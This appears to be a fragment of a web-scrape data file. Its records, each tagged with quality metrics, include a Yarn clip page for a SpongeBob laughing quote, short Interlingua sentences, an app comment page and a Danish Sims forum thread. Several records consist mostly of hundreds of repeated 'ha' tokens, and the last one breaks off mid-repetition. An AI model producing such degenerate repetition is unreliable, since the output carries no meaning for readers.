io","num_words":1404,"character_repetition_ratio":0.959,"word_repetition_ratio":1.0,"special_characters_ratio":0.333,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":457235.8,"cluster_detection":-1} +{"text":"YARN | HA HA HA HA! | SpongeBob SquarePants (1999) - S01E19 Fools in April | Video clips by quotes | 0ffebcaf | 紗\nHOT\nAPP\nQUIZZES\nDISCOVER\nYARNS\nEMOJI\nMore\nCREATE STORIES\nPHRASES\nNUDGE CLIPS\nCONTENT REQUEST\nLOGIN\nHOT\nAPP\nDISCOVER\nYARNS\nEMOJI\nSTORY\nPHRASES\nNUDGE CLIPS\nREQUEST CONTENT\n×\nYarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nHA HA HA HA!\nSpongeBob SquarePants (1999) - S01E19 Fools in April\nSearch clips of this video\nRelated play\nDisable\nHA HA HA HA!\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.getyarn.io\/yarn-clip\/0ffebcaf-f80e-4c4d-8637-5b49fd75b21a\n😎\n😐\n😂\n😘\n😳\n😍\n#grunting\n#happy\n#oops\n#yelling\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n2.2s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nHotel Transylvania 2 (2015)\n2.3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n0.8s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1118,"character_repetition_ratio":0.637,"word_repetition_ratio":0.707,"special_characters_ratio":0.329,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.864,"perplexity_score":140658.7,"cluster_detection":-1} +{"text":"Secundo le zoologos, isto non es un ver serpente, ma un lacerta sin pedes. Io non es secur que io comprende a fundo le differentia, ma isto non importa.","num_words":31,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":128610.5,"cluster_detection":-1} +{"text":"Nos non vadeva in un loco multo original: nos justo nos promenava in le parco que nos ha retro le casa.","num_words":22,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":165265.6,"cluster_detection":-1} +{"text":"Io incontrava iste signo quando io retornava a casa in le postmeridie de sabbato. Retro al signo, il habeva multe juvenes, alicunes sedeva sur le strata e habeva un sorta de pic-nic, alteres dansava al musica producite per potente apparatos phonic. Io non sapeva que esseva iste evento, ma illo pareva ben organisate.\nRetornate a casa, io cercava informationes super iste evento in le internet, e trovava un explication in wikipedia. Le idea me place.","num_words":80,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.191,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":122889.3,"cluster_detection":-1} diff --git a/ina_Latn/new_cc_000003_stas.jsonl b/ina_Latn/new_cc_000003_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..fe45f8adc5a89bb1ce6eaaec942f232667d7a9fd --- /dev/null +++ b/ina_Latn/new_cc_000003_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 690.5625, + "character_repetition_ratio": 0.45093750000000005, + "word_repetition_ratio": 0.470375, + "special_characters_ratio": 0.27968750000000003, + "stopwords_ratio": 0.0033125, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.965875, + "perplexity_score": 185208.90000000002 + } + }, + { + "std": { + "num_words": 557.5451740386154, + "character_repetition_ratio": 0.3511862875935648, + "word_repetition_ratio": 0.37094893095276604, + "special_characters_ratio": 0.06490350409454024, + "stopwords_ratio": 0.003367468448256049, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.041594583481506346, + "perplexity_score": 77340.37295538146 + } + }, + { + "median": { + "num_words": 1034.0, + "character_repetition_ratio": 0.66, + "word_repetition_ratio": 0.6915, + "special_characters_ratio": 0.3275, + "stopwords_ratio": 0.003, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9784999999999999, + "perplexity_score": 166582.6 + } + }, + { + "max": { + "num_words": 1404.0, + "character_repetition_ratio": 0.959, + "word_repetition_ratio": 1.0, + "special_characters_ratio": 0.336, + "stopwords_ratio": 0.008, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 457235.8 + } + }, + { + "min": { + "num_words": 22.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.186, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.864, + "perplexity_score": 122889.3 + } + }, + { + "90%": { + "num_words": 1225.0, + "character_repetition_ratio": 0.748, + "word_repetition_ratio": 0.763, + "special_characters_ratio": 0.3325, + "stopwords_ratio": 0.0075, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 236080.45 + } + }, + { + "75%": { + "num_words": 1185.0, + "character_repetition_ratio": 0.6964999999999999, + "word_repetition_ratio": 0.7475, + "special_characters_ratio": 0.3295, + "stopwords_ratio": 0.006, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 172679.325 + } + }, + { + "50%": { + "num_words": 1034.0, + "character_repetition_ratio": 0.66, + "word_repetition_ratio": 0.6915, + "special_characters_ratio": 0.3275, + "stopwords_ratio": 0.003, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9784999999999999, + "perplexity_score": 166582.6 + } + }, + { + "25%": { + "num_words": 80.75, + "character_repetition_ratio": 0.01175, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.20825, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9492499999999999, + "perplexity_score": 156583.45 + } + }, + { + "total size": "16", + "keep size": "9", + "remove size": "7" + } +] \ No newline at end of file diff --git a/ina_Latn/new_cc_000004_keep.jsonl b/ina_Latn/new_cc_000004_keep.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..a57b0c30cb4f5d962b28e4705d5e1070c800779f --- /dev/null +++ b/ina_Latn/new_cc_000004_keep.jsonl @@ -0,0 +1,10 @@ +{"text":"Ah ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!","num_words":247,"character_repetition_ratio":0.664,"word_repetition_ratio":0.996,"special_characters_ratio":0.333,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":459727.6,"cluster_detection":1} +{"text":"god ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ra its all real thank you abba yah 1919 3096 516 363","num_words":40,"character_repetition_ratio":0.526,"word_repetition_ratio":0.452,"special_characters_ratio":0.392,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.743,"perplexity_score":276427.5,"cluster_detection":1} +{"text":"sape tu le nomine es iste flor \/ como se appella \/ se nomina iste flor \/ como on appella \/ nomina iste flor?","num_words":24,"character_repetition_ratio":0.172,"word_repetition_ratio":0.0,"special_characters_ratio":0.259,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":325756.1,"cluster_detection":1} +{"text":"Nos non vadeva in un loco multo original: nos justo nos promenava in le parco que nos ha retro le casa.","num_words":22,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":165265.6,"cluster_detection":1} +{"text":"sape tu le nomine es iste flor \/ como se appella \/ se nomina iste flor \/ como on appella \/ nomina iste flor?\nsape tu le nomine es iste flor \/ como se appella \/ se nomina iste flor \/ como on appella \/ nomina iste flor?\nsape tu le nomine es iste flor \/ como se appella \/ se nomina iste flor \/ como on appella \/ nomina iste flor?","num_words":72,"character_repetition_ratio":0.18,"word_repetition_ratio":0.984,"special_characters_ratio":0.264,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":351132.3,"cluster_detection":1} +{"text":"Secundo le zoologos, isto non es un ver serpente, ma un lacerta sin pedes. Io non es secur que io comprende a fundo le differentia, ma isto non importa.","num_words":31,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":128610.5,"cluster_detection":1} +{"text":"i only watch anime ah ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":126,"character_repetition_ratio":0.944,"word_repetition_ratio":0.949,"special_characters_ratio":0.325,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":445941.7,"cluster_detection":1} +{"text":"Nos non vadeva in un loco multo original: nos justo nos promenava in le parco que nos ha retro le casa.","num_words":22,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":165265.6,"cluster_detection":1} +{"text":"its all real ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha 562 1950 325 883","num_words":31,"character_repetition_ratio":0.696,"word_repetition_ratio":0.682,"special_characters_ratio":0.426,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.775,"perplexity_score":403496.0,"cluster_detection":1} +{"text":"← SPOILER ALERT- This link contains spoilers → What?!?! During the hockey playoffs!??! Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":94,"character_repetition_ratio":0.7,"word_repetition_ratio":0.741,"special_characters_ratio":0.315,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.924,"perplexity_score":225491.8,"cluster_detection":1} diff --git a/ina_Latn/new_cc_000004_remove.jsonl b/ina_Latn/new_cc_000004_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..ef1b9fd0e8c6b476f3017235c60d35c8e2f288f8 --- /dev/null +++ b/ina_Latn/new_cc_000004_remove.jsonl @@ -0,0 +1,6 @@ +{"text":"By clicking “Fine”, you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts.\nFine\nLearn more\nExploreAboutPeople\nMore\nScan to download Stereo\nContactFAQsPressTeensTermsPrivacyGuidelinesTransparency\nDeleted user\noopsie\nFollow\n5\n2\nShare\nCopy link to post\nAudio\nText\nTrimp • 375d\n1\nReply\nCopy link to post\nTobey Vil • 374d\nReply\nCopy link to post\nAdd comment\nDeleted user• 376d\nThank you for watching!\n5\n2\nCopy link to post\nTrimp• 375d\nOh baby when you talk like that, you make a woman go mad. So don't be sad, be fine, you're all that I like. Shakira, Shakira. Oh baby when you talk like that, you make a woman go mad. So don't be sad, be fine, you're all that I like. Shakira, Shakira.\n1\nReply\nCopy link to post\nTobey Vil• 374d\nThere will be only seven planets left to destroy Uranus. Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":696,"character_repetition_ratio":0.643,"word_repetition_ratio":0.718,"special_characters_ratio":0.296,"stopwords_ratio":0.001,"flagged_words_ratio":0.0,"lang_id_score":0.757,"perplexity_score":154133.4,"cluster_detection":-1} +{"text":"Jeg har bare The Sims on Holiday eller The sims Vacation som det også hedder. Jeg har fået det af en som har hentet det fra nettet, det er bare skide godt. Men kan stå på ski og tage rigtig på stranden og i skoven det er skide FEDT..... HA HA HA det har i bare ikke.\nP.s Koden er stadig rosebud....\ntilføjet af øhh jo jeg har for 21 år siden\nsut da\njeg har alle the sims så prøv at luk:) p.s jeg er ik stolt\ntilføjet af cooly for 21 år siden\npral hals!\ndet har jeg bare også! jeg har the sims house party, livin large, unleadsd, hot date, vacation og the sims! na na na na na!\ntilføjet af One Love for 21 år siden\nH,ze57udt\nHvad sker der for dig....selvfølgelig er der andre der kan spille The sim on holiday...man kan jo bare gå ud og købe det...fjolssss\ntilføjet af misse for 21 år siden\nhejsa\nhejsa jeg kender en total hurtig kode så jeg er nok kloger en dig så vis jeg spiller kan jeg få 99999 kr sur røv\ntilføjet af det har jeg for 21 år siden\ndet har jeg\njeg her The Sims on Holiday.......ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha 